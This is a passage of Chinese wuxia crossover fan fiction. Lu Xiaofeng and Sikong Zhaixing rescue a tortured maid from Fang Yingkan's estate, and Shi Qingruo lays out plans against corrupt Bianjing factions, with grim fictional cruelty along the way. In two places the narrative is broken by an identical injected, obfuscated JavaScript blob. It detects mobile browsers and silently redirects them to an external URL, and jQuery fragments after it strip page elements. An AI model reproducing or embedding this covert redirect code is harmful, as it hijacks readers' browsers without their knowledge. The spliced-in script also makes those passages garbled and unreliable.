无论是因为他接下了师青若的雇佣委托,还是因为他自觉自己还算是个人,他都必须要将眼前这个姑娘从这里带走,不能让她继续这么不人不鬼地活在不戒斋的后院内。 现在也不是他和陆小凤继续深究此事由来的时候,等将人带走,有的是机会搞清楚真相。 无须司空摘星多言,陆小凤已默契地听明白了他的意思。 在神通侯府这样的地方,要想将一件珍宝带离此地,或许都已不太容易,更别说那是个人。 但那又如何? 司空摘星不喜欢登门拜访之后空手而归,他今天也不喜欢。 前院的声音还能隐约传入他们的耳中,这毫无疑问是他们动手的最好时机! 司空摘星飞快地握住了那囚笼的锁扣。 神偷不愧是神偷。 饶是陆小凤眼力绝佳,也只能看清司空摘星在这瞬息之间做出的几个动作,而后便是那铁锁开启,掉在了他的手中。 陆小凤来不及感慨,师青若确实选择了一个最恰当的人选,便已在铁笼开启的刹那抢身而入。 他不知道这可怜的姑娘还能否听见旁人的声音,只低声说了句“我们来救你出去”,随即一掌震向地上的填土,另一手将人托带而起。 司空摘星也在同时动了。 但他做的,不是和陆小凤一并将那女子救出来,而是将手伸向了其余的那几个锁扣。 对于他这位“神偷”来说,方应看后院的铁笼和没上锁根本没有区别。 嘭—— “何人擅闯!” 司空摘星没有回头,也知道这由远及近的声音是从何处传来。 他和陆小凤两人制造出的动静虽然不大,但对于驻守奇珍异兽园内的高手来说,却已是再明显不过。 这神通侯府内机关重重,也绝不可能真只让两人坐镇。 所以他要做的…… 那疾奔而来的守卫已看到了月下的两道身影,更看到了被陆小凤拉拽而起的那人,当即面色一变,厉声喝道:“将人放下!” 小侯爷将人“放”在此处,正是要人知道告密报官的下场,怎能允许有人想要将其救走。 这两人绝不能活着离开这里! 但在他怒喝出声的下一刻,一声同样饱含怒气的声音便已朝着他飞扑而来。 紧随其后,是一只裹挟风声前来的利爪! 他想都不想地挥刀而出,却又陡然意识到,这奇珍异兽园内的猛兽无一不是方应看的心头好,连忙强行收起了三分力道。 可他先前表露出的攻击姿态,已足够让这只得到自由的猛虎将他当做自己的敌人。 它才分辨不出什么住手不住手的,庞大的身躯继续朝着他飞扑而去。 而同一时间有着同样反应的,何止是这一只猛兽。 司空摘星早已连开了十几个兽笼,而后再不耽搁,与陆小凤重新会合到了一处。 这些跑出笼子的猛兽只能制造片刻的视线遮挡和阻拦,可这对于他们两人来说已经足够了。 没有这拖后腿的纠缠,正是他们冲出此地的契机! 二人来时的轻功已算极快,现在要将人救出生天,甚至又快出了一个层次,像是幽灵一般朝着神通侯府之外疾掠出去。 但也就是在这时,他们的身后传来了一声急促的竹哨。 “吁——” 夜色之中急剧穿透力的哨声,霎时间击破夜空。 一点点明灯烛火迅速随着哨声点燃,又训练有素地朝着这头聚拢而来。 陆小凤心中暗骂了一句不妙。 毫无疑问,那两名看守根本不在意自己会不会因玩忽职守而遭到斥责,直接发起了警报。 毕竟,惊动侯府上下一并抓贼,总比让人逃脱了,要好得多! …… 听到动静的方应看霍然回头,脸色也同样不好看。 他刚到前院,就看到了下人来报的那混乱场面。 一个内功还算可圈可点、拳脚工夫却杂七混八的小子,背上背着个瞎了眼睛爪功惊人的婆娘。 他听着个白衣小姑娘的指挥,愣是将他的门客给折腾得晕头转向。 就是这样的三个人闹出了不小的动静。 要不是碍于身份,方应看怎么想都觉得自己该当上去一剑击毙了那小姑娘,到时候,另外两人自然不攻自破,再不给她们撒野的机会。 现在不行。 他该当拿出此地主人的身份,让人代行出手。 然而他刚要与傅宗书傅相爷的义子说话,让他好好问问清楚,为何他那个师父居然会站到敌人的那头,就听到了后院的哨声。 他立时开口:“都给我住手,先把后头的人拦下!” 局势有变的第一时间,方应看便已做出了决定。 按照下人来报,那小子偷喝了他门客所养大蛇的血,还抢走了一些草药,那些归根到底也就是些小损失。 可后院不同。 那里多得是见不得人的东西,若是不巧被人带走,他还需要费些工夫才能将消息给压下去。 孰轻孰重再明白不过。 他这话一出,当即有人做出了响应,朝着后院追去。 谁让方应看本人也已在出声的同时折返了回去。 白驼山少主欧阳克本就初来乍到,投效于方应看麾下不久,此刻也不得不将折扇一收,点地反身离开。 还在缠斗之中的,便只剩下了最在意自己损失的参仙老怪梁子翁,和他的几个朋友。 该说不说,他是当真执着。 侯府后院的哨声和小侯爷门客的动向,根本无法让这个血气上头的家伙有一点反应。 他一门心思地盯紧了前头的三人,眼神里满是贪婪。“臭小子,你将我的蛇血还回来!” 郭靖心中叫苦不迭。 他怎么会想到,自己此次南下,明明只是为了母亲的请托,去寻找当年的杀父仇人,以及找到自己失散多年的义弟,却会因早前的一桩旧事,又被人给盯上了,甚至还因此让帮忙的道长身中剧毒。 他也更没想到,在他本要前往侯府偷盗解药前,他曾经款待过的小乞儿居然会找上门来,还从黄贤弟变成了蓉儿这个女孩子。 至于随后发生的吸食蛇血,以及和对方正面交手,也就更加不在他的意料之中。 “我都说了我不是有意为之,是你们买走了京中的草药让我救不了人。” 郭靖努力压制住自己此刻的经脉沸腾错乱。 但因他吞咽下去的蛇血本就是一味大补的药材,在仓促之间根本无法消化,反而让他的脸上满是血红的热力。“你若非要蛇血,那也得等我救了人后再还给你!” 黄蓉在旁看着,心中一阵焦虑。 和迷天盟的师夫人告辞分别后,她便如她所说的那般,找上了那个对她优待有加的笨小子,预备助他一臂之力勇闯神通侯府。 但这人心险恶,确实不是她凭借着自己的那点聪明才智和武功,就能轻松应付过去的。 就算她意外发现,同在此地的一人正是当年被她父亲逐出师门的师姐,用了点小计让她一并帮忙,也很难不像此刻一般陷入窘境。 更麻烦的是,师姐的武功虽高,却因练功走火入魔而不良于行,只能将郭靖当做自己的拐杖。 身上背着一个人,还要同时面对不同人的进攻,这对于郭靖来说已算不小的负担。 偏生霸道的蛇血还在作祟,若非他曾经修炼过以心定著称的全真教内功,恐怕早已失去理智爆体而亡了。 可就算现在还能僵持,也绝非长久之道。 黄蓉喝道:“你们的小侯爷让你们去后头抓贼,你们还在此地做什么!” 梁子翁怪眼一翻:“先解决了你们这群小贼,再去后头给小侯爷赔罪就是。何况欧阳公子已不同你这鬼丫头纠缠,去那头助阵去了,你再有一百种文斗的法子也派不上用场。” 他随即大叫一声,看似扑向那五指成爪的掌力,实则还是冲着郭靖而去。 打人先射马,现在也是同样。 他也不知道傅相的那位公子为何管不住自己的老师,又为何会让她成了另一方的助力,但他知道,现在那女魔头和臭小子的关系,便和人与马是一样的。 黄蓉灵机一动,扬声喊道:“靖哥哥,别停下,往后院跑。” 再和这几个侯府门客纠缠下去,有弊无利。 转身逃脱的机会,又因为梁子翁的咄咄逼人,显得极其有限。 与其如此,还不如试试一个剑走偏锋的法子。 她虽然不知道在神通侯府的后院发生了何事,但她知道,能让那位刚刚来时得到众人俯首行礼的方小侯爷面色大变,一定不是寻常的事情。 局面越是混乱,她也越有机会带着郭靖全身而退。 至于郭靖身上带着的那个人,虽然也曾是她父亲的弟子,桃花岛的门徒,但早在十多年前,就已偷盗走了一门要害武功叛出门去,还和丈夫在江湖上混出了黑风双煞的名头,就算现下被她诓骗作了助力,也难保不会反过来给她一击。 说不定带到后院的混战里,还能有机会将她丢下,免得再添麻烦。 眼见郭靖要跟着她的指令往后院去,却因“师姐”的发力而被迫困在原地,只能硬接了梁子翁一掌,气血混乱中吐出了一口淤血,黄蓉又急又气。 “梅超风,你先前不是问我爹爹在何处吗?他现在就在侯府的后院中。你先是不管我这个小师妹,放任这些坏人欺负我,现在又看着他被侯府高手围攻,就这还想重归门下,你做梦去吧!” “小师妹此言当真?”梅超风将信将疑。 她早年间瞎了眼睛,只能听声辨位。 根本无从分辨黄蓉所说是真是假,只能听到她给出的笃定答案,“那是自然。我为何要拿我爹爹的安危跟你开玩笑!你若再不让靖哥哥跟我走,我爹怕是要被那群坏人打死啦。” 梅超风怒道:“恩师武功何等高明,怎会被这些人给打伤。” 但话是这样说不错,她还是一道利爪撕开了梁子翁的掌风,低头吩咐:“小子,还不走!” 郭靖再不停留缠斗,紧跟上了黄蓉的脚步。 若非情势危急,他倒是很想问问,明明黄蓉说的是跟家中闹崩了,她父亲也没出来找她,为什么又会突然出现在这里。 之前应当也没见到有人和蓉儿打招呼才是…… 黄蓉往郭靖的脸上一瞥,便知道这呆瓜又在想什么,心中无奈地叹了口气。 但眼见前方数人打作一团,更见梁子翁等人已自后方追来,还是连忙收敛起了心神,“就在前头,与那两人一起冲出去。” 别管那两人到底是什么来头。 就在行动之间,黄蓉清楚地看到了这样的一幕。 那晚一步来到前院的方小侯爷拔剑出鞘,血色奔涌的长剑裹挟着骇人的力道,直指那怀中抱人的刺客而去。 明明这方小侯爷也不过二十出头的年纪,却不知为何,竟然比起那白驼山少主欧阳克、傅宗书义子傅康,甚至是那些个老怪上人的功力还要更为高深。 血色剑气浮现的刹那,他那张貌若好女的面容,也染上了罗刹之气。 这一剑,若是砍在她的身上,就算她有软猬甲护身,只怕也别想接下来。 偏偏那刺客像是在后脑上长了一双眼睛,有备而来一般对着那剑招伸出了两根手指,正将这一剑夹在了双指之间。 血肉之躯的手指,竟像是一道特殊的铜墙铁壁,拦住了方应看的血河神剑。 眼见后方追兵又至,陆小凤戴了面罩露出的双眼中闪过了一缕冷色。 他指尖一弹,借势急退,与司空摘星再次会合到了一处。 却不料那跟随方应看而来的欧阳克,等的就是这时。 欧阳克脚步飘渺,折扇如刀,直插陆小凤的后心而来。 便是陆小凤的轻功再快,也很难在这夹击之中全身而退。 但欧阳克的折扇快,另一道五指成爪的爪功也快得惊人。 梅超风虽然认不出这混战里到底有没有她的师父,但先前欧阳克见色起意,与黄蓉交手,早让梅超风记住了那折扇发功的声音。 知晓此人是敌非友,既要破局,自当阻拦! 这道凶悍异常的爪功险些直接扯开了欧阳克的武器,若非他见势不妙连忙后退,只怕还要被这疯婆子给抓下两块肉来。 然而也就是这一退的光景,在他和方应看与那些小贼之间,蓦的升腾起了一片烟雾,直接挡住了他们的视线。 司空摘星动的手! 陆小凤在烟雾腾起的第一时间,来不及给同伴比划个赞许的手势,便已即刻运功纵跃。 好配合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930941|160639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他们此刻所在的位置距离侯府的边缘本就没有太远。 这等到此时方才放出的迷烟,足够让他们逃离此地。 至于那先前帮忙的三人,陆小凤虽不知他们是何身份,但既是同被追杀的人,在这等紧要关头,也犯不着去问他们,只当是半个朋友就好。 “走!”他一声轻喝,翻过了墙去。 黄蓉并郭靖和梅超风也一并追了上去。 神通侯府先前没料到会有人闯入,更没想到在有这么多人阻拦的情况下居然会纵虎归山,根本没来得及在前方设下埋伏。 那么毫无疑问,一旦他们能逃窜进汴京城的街巷之中,要再想抓住他们便难了。 但他们刚刚跳出院墙,竟不是落在神通侯府的后巷内,而是撞上了另外的一片迷雾。 那也是一片并非出自司空摘星之手的迷雾。 陆小凤脸上的从容瞬间出现了裂痕,黄蓉也顿时脸色微变,自掌心捏住了一粒丹药,预备一旦雾中有毒,便立时服下。 然而还没等二人有所反应,在这迷雾之中就传来了一个两人都听到过的声音。 “夫人让我前来接应,在府外布阵,请几位跟我来。” 这个声音,对于曾数次在迷天盟中出入的司空摘星来说,其实还要熟悉得多。 他毫不犹豫地拽上陆小凤,飞快地跟上了对方的脚步,接连兜了数个转弯,又跳过了几座院墙,最后穿出迷雾的时候,果然看到了个熟人。 直到此刻,司空摘星方才松了口气:“二圣主来得及时。” 灰衣宽袍,身姿轻盈。 那不是别人,正是迷天盟的二圣主朱小腰。 面对司空摘星的寒暄致谢,她此刻并未带面具的脸上,不难看见仍旧挂着的严肃,“现在还不是停下的时候,请几位随我走密道回到盟中。” 这座距离神通侯府不远的宅邸很快就会迎来追兵的盘查,若是继续在街巷上逃窜,也难保不会被很快抓获,只能走地下的道路。 好在迷天盟多年蛰伏,确实有这个开辟此等道路的本事,也正成了陆小凤等人脱身的助力。 当方应看带着众人气急败坏地追出迷雾的时候,又哪里还能看到这些人的身影。 再过一会儿,这些人便会在迷天盟的总部之中了。 除非方应看要一举改变自己在京城里的风评,否则他绝不能,起码现在不能,因为一点微妙的怀疑,直接杀到迷天盟来搜捕“犯人”。 …… 所以他也理所当然地看不到,当司空摘星与陆小凤等人跳出地道后,又遥遥朝着神通侯府的方向比划了个中指。 …… “行了,你先别对那边挑衅了。”陆小凤无奈开口,又转头朝着朱小腰发问,“敢问迷天盟中可有郎中,赶紧来给这位姑娘看看。” 先前地道黢黑,加上逃亡之中难免只顾赶路,陆小凤只能隐约察觉到被他带回的姑娘有数次的呼吸急促,情况不太对劲。 现在好容易脱离了危险,也有了映照的烛火,他终于低头看清,这姑娘的面色里泛着一股铁青之色,像是身体内还潜伏着什么剧毒,现在突然发作了起来。 坏了! 她本就没有十指还无法出声,此刻简直像是蜷缩成了一团,强行忍住疼痛,显得异常可怜。 偏偏以陆小凤的见识,也难以在须臾之间认出这毒药的品类。 他到底不是用毒的专家。 一想到此,他哪敢耽搁,当即高声又重复了一次:“让通晓毒理的郎中速来!” “等等,为何是个姑娘?”梅超风脱口而出。 先前在地道赶路的时候,黄蓉明明告诉她,陆小凤抱着的人正是身受重伤的师父,她先前攻击欧阳克解围,算是立下了一个大功,等到师父醒来,必定要为她正名。 她心中存有疑惑,却因目盲不可视物,根本无法让疑惑得到确认,只能继续跟着走。 一边走一边担心,师父若是受伤到失去知觉的地步,还要由人带着,也不知是何情况了。 她应当先看看才好的。 结果……怎么又忽然变成个姑娘了。 然而还没等黄蓉再编造出个理由来糊弄于她,梅超风的后背便忽然一阵发冷,就连全身的经脉都突然之间因为直觉的恐惧而开始颤抖。 有人来了。 不对,应该说,是有一位格外可怕的高手来了。 在这种几不可动弹的威慑之中,她听到了两个由远及近的脚步声。 其中一人的脚步声更重些,不像是练家子发出的,而另一人,正是对她来说恐惧的源头。 一道温和的女声响起在了众人:“别找什么郎中了,救人如救火,先让七哥运功为她逼毒试试。” 陆小凤连忙将那被救出的姑娘放在了地上,就见师青若带着关七走了过来,仿佛早已等候着他们到来。 要陆小凤说,这位迷天盟的圣主真是不论看多少次,都有种难以言说的威慑,甚至并不因为他失去了神志而有半分削减。 不过现在,他这天下独步的内功,却反而变成了一种救命良药。 有师青若的请求,关七并未犹豫,便已乖觉地将那地上的女子半扶了起来,一道饱含内力的掌劲已经按向了她的后背。 不过短短数息,这中毒女子的面色便一阵青白交替,而后,突然一口青紫色的毒血吐出了口。 她剧烈地呛咳了一阵,又将脸色呛成了红色。 但这表现非但没让人再度悬起心弦,陆小凤眼见这一幕,反而眼前一亮。 他绝不会听错,在这女子的咳嗽声中,赫然夹杂着几个零碎的音节,与先前的一声不吭完全不同。 这由不得他不怀疑,关七在将她体内的毒素运功逼出的同时,是不是也将让她说不出话的另一种毒也给逼出来了。 果然,在那呛咳声停下的时候,一个沙哑的声音像是已经许久不曾开口,格外艰难地发了出来:“……你们,是什么人?” 她不是对外界一无所知。 在逃离神通侯府的时候,她还听见了一个让她深恶痛绝的声音。 现在,她又久违地听到了自己的声音。 她是在做梦吗? 师青若迎上了那双依然空洞的眼眸,平复了片刻的情绪,方才回道:“你可以认为,我们是神通侯府的仇人,所以我想知道,你是什么人?” 那女子没有即刻出声。 月光照不亮那双已经失明的眼睛,只照出了她满脸的无望。 就连开口的时候,她也不像是在和人交流,而只是让自己重新说话而已:“……我是,方应看的奴婢。” “那你为何——”郭靖话刚出口就被黄蓉捂住了嘴。 他们两个年轻人在江湖上本就没有多少经验,何曾见过这样的惨烈景象,几乎是下意识地便想要发问,又陡然意识到不该催促。 女子神色惨然,“方应看喜好美色,常常逼迫身边的奴婢委身于他,又不想落人口实,知道我们逃不出去,便将我们的家人夫君通通杀死。我与两人侥幸逃出报官,却被送回了府中。” 她面颊颤动不已,仿佛在话出口的一瞬间,又已回到了那个对她来说有若噩梦的午后。 她眼看着同行之人惨死,也看着自己…… “他说,我变成了这样,生不如死地活着,是要告诫侯府上下——” “谁也不能再做告密之事。” 13. 013 陆小凤平生性情散漫,都忍不住在听到这句答案的瞬间扭曲了面容。 更别说是黄蓉郭靖这样初出茅庐的年轻人。 就连自认自己已是个魔头的梅超风,都有一瞬的呆滞,怀疑自己听错了话。 “他凭什么!”陆小凤怒而出声。 寥寥数句,足以见得,那方应看简直像是个邪魔。 他贪婪于美色强占身边的女子。 他为了保持维系在京中的美名,干脆把会泄露消息的人杀死。 更有甚者,便是弄出了这样一个凄惨的“标本”放置在奇珍异兽园当中,只为了让人害怕敬畏于他。 天下武林高手若是都如方应看一般行事,将不会武功的普通人当做自己的玩物,那这世上还有什么公理道义可言! 陆小凤本想再接一句“报官”,却又陡然想到,在她方才的话中分明已经说了。 她是因报官失败才被送回神通侯府的。 更加……可悲了。 “京城之地既有刑部办案,又有六扇门从旁协助,无论是刑部总捕朱月明,还是六扇门的无情总捕都是排得上名号的武林高手,为何……” “因为没有证据。”女子回道。 她没哭没闹,只淡淡地丢出了这六个字,却沉得让人喘不过气来。 对于方应看这样一个来头的人来说,“没有证据”,对他来说就是最大的保护伞。 司空摘星和陆小凤知道,这个被展示在奇珍异兽园内的女子,是由他们亲自接出来的,但若对簿公堂,他们甚至不必怀疑,先被清算的会不会是司空摘星这个贼偷。 至于方应看做的其他恶事,也自有下头的人为他担负起责任,做好扫尾。 更麻烦的是,在他身上,还有一个“神通侯”的名号。 这就注定了,京城里的各方势力在对他动手之前,还要考虑更多的问题。 “姐姐,”黄蓉忽然警觉,“那我先前告诉你,他想再对迷天盟动一次手,是不是比我想的还要麻烦得多?” 师青若一面将让人送来的斗篷披在了那女子的身上,以防这春寒露重又让她刚刚将毒逼出的身体受冻,一面没有直接回答黄蓉的问题,而是回道:“蓉儿,你今日和这位小兄弟闯过侯府,与府上新到的门客应该交过手了,你是怎么看的?” 黄蓉想了想:“若以武功来算,今日见到的几人里,也就只有一个白驼山少主和那个方应看本人有些门道,其他的几人,武功虽高,却也只能算是乌合之众。但我猜,方应看有底气将人弄成这模样,必定还有自己的倚仗。” “所以他的野心,远比你们能见到的要大得多。”师青若叹道。 陆小凤眸光一转,品出了点意思来:“师夫人的意思是,他将这样的一批人放在神通侯府的台前,虽然武功不低,姑且能算是些打手,但也难免让人觉得,他这位方小侯爷在遴选人才上没什么本事……” “他若敢来,一并杀了就是。”关七冷冷出声。 师青若回头看去,就见他面上的神情和他早前说“杀了所有拦路之人”的表情一模一样,不由摇了摇头:“有些时候可以一力破万法,有些时候却还是要遵守规矩办事。方应看背后有方歌吟,也就意味着,效力于方巨侠的帮派都是他那位义子的后台,若是他平白无故身死,京城反而才要乱起来。” 乱起来影响到的是更多的人,这没什么好处。 “那就让方歌吟来京城,我同他打。”关七听不明白这当中的弯弯绕绕,回答得干脆利落。 这话一出,在场众人都沉默了片刻。 可他们又不得不承认,以关七这等直肠子的性情,说出来的竟是一句最正确不过的话。 方应看的小侯爷位置,是因为方歌吟的救驾功劳得来的。 方应看在江湖上的地位,也不是因为他长袖善舞,而是因为他有一个好义父。 他如今不思报国进取,反而做出了这等灭绝人性的恶事,本就该当让方歌吟来了结这个祸患。 子不教,父之过—— 这是再清楚不过的事情。 “可就算让方歌吟前来京城,将他的义子打杀赔罪,这京城便干净了吗?”师青若阖目沉吟了片刻,方才徐徐开口:“这汴京城中,神通侯府甚至该算最不成气候的一方,只不过是先前藏在这污水潭下,现在陡然被揭发了出来而已。” 杀了一个方应看,又真能解决这世道吗? 她倏尔话锋一转:“我是不是没同你们说过,我来京城之前的事情?” 朱小腰倒是稍稍知道一些,但也知道得着实有限。 圣主夫人能拉拢到白愁飞和王小石,必定是先前和他们有过一番交情。 按照金风细雨楼探查得来的情报,便是从湖北那头过来的。 但再多的事情,便无从得知了。 师青若道:“再早的事情就不提了,只说这半年间的事情吧。我到洞庭湖一带的时候,正逢那头出了桩大事。” “洞庭水陆两道的大帮长空帮遭人灭门,帮中要员都是先中了剧毒,而后被人趁乱杀害,帮中供奉的功法万古神指消失无踪。长空帮在时,湖北地下买卖有人坐镇把守,还没到那么张扬的地步,但长空帮覆灭,有些蛇虫鼠蚁就纷纷爬上台面来了。” “我不会武功,不慎着了别人的门道,被人给拐去了个买卖人口的地方,在那里听到了些消息……” 当这位如今形象光鲜,衣着体面的迷天盟圣主夫人说出这番话的时候,因为话中和现实的反差,让人险些觉得那得是很久之前的事情。 可再听她话中,竟然距离如今也只有半年的时间。 但更令人震惊的,还是她话中的内容。 “江湖上的镖局船帮,比起在京城里站稳了脚跟的金风细雨楼,还是更信任六分半堂的名声,就连有些做暗地里买卖的也不例外。诸如洞庭湖一带的砚墨斋,按名字上来说是个文化人的地方,实际上却是个戏班子,还不是个一般的戏班子。” “砚墨斋顾老板最喜欢的一门杂艺,叫做人球,就是把人用沸水烫了,涂上螯子粉,又或把人手脚反捆接一起,再踩断他的腰脊,看客同情这样的软骨人,就自然会多给些银钱。”① 黄蓉已听得倒抽了一口冷气。 一想到师青若曾经流落到这样的地方遭灾,若是没能逃脱便要落个这般下场,便更觉骇人了。 “我算运气好的。”师青若继续说道,“那位顾老板有六分半堂的庇护,本就行事无度,趁着年末要做一笔大买卖,正好遇上六分半堂有意在湖北扩张生意,要对几个重要人物动手,将他们的孩子制成人球,再驱散回去以示警告,就将我们这一批新掳掠来的人从湖南赶到了湖北,用以混淆视听,好方便他们转移这一次的货物。这批货物当中,甚至还有湖北闻巡抚的独生儿子。” 陆小凤喃喃:“这算什么运气好……” 师青若冷笑:“因为一个用于分散注意的诱饵,根本不需要知道长了什么模样,也暂时可以全须全尾地活着。而另一个好消息是,这出北上的邀约原本就是个骗局!” 她的声音愈发冷冽:“六分半堂在湖北的名声经营得还算不错,和那位闻巡抚虽然就一些利益瓜分没谈拢,但也没到撕破脸皮的地步。经由这么一闹,反而只会让他彻底倒向金风细雨楼那头。” “至于为何会突然多出这么一出,正是因为——负责牵头此事的六分半堂十二堂主,根本就不是六分半堂的人,而是卧底在其中的金风细雨楼薛西神!在前来见这几位杂耍老板前,他也早将消息通传给官府了。” “舍弃掉十几个孩童的性命,换来湖北数名黑/道恶人与顾老板一并落网,同时还让六分半堂损失了前来探查情况的九堂主,金风细雨楼做了好一笔买卖。又恰逢王小石和白愁飞途经,将我给救了出来,也算是全身而退了。” “后来,我在汴京遇到了七哥,接下来的事情你们都知道了……” “薛西神他——”朱小腰面色陡变了一瞬,又忽然意识到此刻还有外人在,她并不该以这样的语气提起这位金风细雨楼的护法。 但她又很难不发出这样的一声惊呼。 在师青若的话中,若是本就从事这等买卖的六分半堂有大错,那么,为了达成目的利用了这一点,挑起了这一笔“买卖”的薛西神,问题同样不小! 以薛西神在楼中的地位,他接下了任务后完成事情的办法,底下的人向来是无权过问的。 他加的这一把劲,从大局上来说大有利处,又何尝不是在将普通人的性命当成了玩笑。 师青若回头,正接上了朱小腰中断的声音:“不必说薛西神如何了。” “若非我与王小石和白愁飞北上前来的一路,对金风细雨楼维系财政的手段略有耳闻,知道那位苏楼主哪怕不讨好些也不沾那些买卖,这位薛西神的所作所为,必定要让我对金风细雨楼的印象大打折扣。”② “但有些帮派,是阖帮上下并非全是好人,有些全是大半为恶。为了维系所谓的地位而为非作歹的,在天子看不到的地方多不胜数,又何止是方应看一人!” 这些人,不是关七凭借着自己的绝世武功就能杀干净的。 若这世道当真如此容易,有些事情,诸葛神侯早就可以去做了,又何必等到如今。 “……那师夫人打算怎么做?”陆小凤没忍住,还是问了出来。 问题刚刚出口,他自己又愣住了片刻。 这个问题能够说出口,竟已在无形中代表了一个信号。 他的第一反应,是相信师青若能为这些事情做出些什么。 师青若也问了出来:“你就这么信我?诸葛神侯不会不知道这天下的局面,但他做不到力挽狂澜。七哥武功盖世,迷天盟还不是衰微至此,甚至成了不少人的藏污纳垢之地。当日我与苏楼主达成合作的时候,我甚至没法将薛西神之事当面质问,那你凭什么觉得,今日我又能做出更有本事的事情?” 起码在陆小凤和司空摘星的认知里,她可不会武功。 在众多江湖人士当中,得算是最容易对付的一类了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930942|160639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆小凤摸了摸自己的一撇胡子,轻啧了一声:“怎么说呢,我虽然不太了解师夫人的为人,却也知道,你应当不会平白无顾地让我们看到这件事。” 从她对司空摘星情绪的把控来看,陆小凤并不怀疑,不会武功会是师青若的弱势。恰恰相反,他觉得对方比任何人都希望能用其他的方式把控住局面。 他甚至怀疑,师青若先前说到的湖北一事,她能安然从中脱逃也没那么简单。 但当她的目的对极了他陆小凤的胃口时,大可不必对此深究下去。 “另一则,”陆小凤的视线扫过了关七,“夫人是迷天盟的半个主人,怎么也算是个地头蛇,有些事情或许先前不能做,现在已能去做了。” 所以他想听听,师青若有何妙计。 不错,他这个人不喜欢被人束缚,就算有人将刀架在他的脖子上,也不会让他松口去做什么事,但若事事退避不做,那也不是他陆小凤的脾气! 师青若没继续追问,垂眸思量了片刻,道:“朝廷官员只想见开封剩下一个帮派,这是汴京城中的共识。先前我与苏楼主的协议,是联合迷天盟与金风细雨楼之力,先对付六分半堂,再来解决神通侯府这些盘踞的势力。不过如今既然先见到了方应看的这桩事,或许可以换一个法子来办事。” “过几日我会找个机会再见一次苏楼主,与他商议些事情,若是陆公子有此闲暇,不如同来。至于……” 她转头看向了一旁的梅超风。 只见这女子本就苍白的脸色,在此刻已是更显煞白。 按说在方才的这出对话中,根本没有一个字和她有关。因为那个刚被救出来的姑娘,众人当先关注的也是那位方小侯爷。 可当师青若忽然调转了目标的刹那,梅超风又陡然意识到了个天大的麻烦。 她听到了一句不该由她听到的话。 当年她偷盗恩师手中的功法逃离桃花岛,练习九阴白骨爪杀了不少人,却不慎在北方大漠折戟,瞎了一双眼睛,逃到汴京后被傅宗书的儿子傅康收留。 虽说今日因偶遇小师妹的缘故,让她和这些人竟做了一会儿战友,但她可没忘记自己的身份。 她身上同样背负着不少人命,也根本不应该听到金风细雨楼和迷天盟结盟的事情! 偏偏她自己不.良于行,难以迅疾撤离。不,就算她双脚能够正常行走,也绝不可能逃出那位迷天盟七圣主的眼前。 她头一次在一个面前,感觉到了蚍蜉撼树的无力。 师青若接着说了下去:“劳驾几位都先暂时在迷天盟中住下吧,待此间要事完毕,自然会放各位离开。” “不成!” 众人闻声看去,竟见提出反对的不是梅超风,而是郭靖。 黄蓉刚想劝阻,便听郭靖认真回道:“今日从神通侯府中偷出的药材,必须尽快给王道长送去,否则耽误了他的伤势便不好了。” 本是有些严肃的场合,因为郭靖这句话,师青若脸上不免多了几分笑意,“傻小子,若是等到你说起才想到那位王道长,他早被神通侯府缉拿你们的人给带走了。早在我让小腰前去接应你们的时候,就已让人去你那客栈了,估计现在人已接过来了。” 郭靖抓了抓头发,“可还有一件事。” “那日我入汴京城的时候,遇上了一对穆姓父女比武招亲,傅康上台打擂成功却不肯娶那位姑娘,随后打了一阵,被那位宰相夫人叫停了。按说就这么算了也好,但我今日去神通侯府偷药之前,发觉穆家父女都不见了。” “我敢说他们绝不是提前离开了。”郭靖人虽然有些笨拙,说到这里却连忙补充,“他们摆比武招亲台的东西都在,尤其是两人用的枪都没有带走,比起自己离开,更像是被人带走的。” 若不是先前,他必须先确保王道长的安危,其实也该去找找那对父女下落的。 他原本还觉得,这汴京城中是富贵繁华之地。 现在看到那遭到毒害的女子,再想到傅康与方应看有所往来,便大觉不妙。 然而他刚想到这里,就见师青若弯了弯唇角:“那这就更简单了,直接报官吧。” 郭靖:“诶……报官?” 不是说,官府会和这样的恶人沆瀣一气吗? 师青若解释:“报官也分事情的。按照你所说的,这对父女只与傅相府上的人有过纠葛,难保不是被他们请去做客。比起你在闯了神通侯府后再闯一次傅相的府邸,还不如让六扇门的人去做。” “那位傅相爷的部下才因为连云寨一案犯在了无情总捕手里,又险些被无情逮住一个犯事的客卿,绝不会希望自己又有一个把柄落在他的手里。假若人真在他们手中,只怕无情刚刚登门,他们就能将人给放出来,总比你去冒险要好。” 比起另外的问题,这简直是最容易解决的一件事了。 只是…… 需要麻烦一下无情总捕而已。 师青若无赖地想,起码这次,不必让无情总捕坐花轿了。 这怎么就不是一件小事呢? 14. 014 三月的汴京城里又发生了几件大事。 其中的两件还都和六扇门有关。 一件是,四大名捕之中的其中一个位置换了人。 去岁连云寨被冤枉为贼寇,由朝廷出兵剿匪,但最终被证明了无辜,也得到了招安正名,看似已经万事落定。 可自打此事后,四大名捕之中的铁手铁游夏就对于捕头与匪寇之间的关系很觉迷茫,趁着连云寨正要重建,干脆向诸葛神侯请了辞。 按照京城里茶竂酒馆中的说法,就是一个本有大好前途的捕头去做了贼首。 若非招安之后连云寨算是有了出身,不能将其单纯定义为匪寇,在京中闹出的风浪还要更大一些。 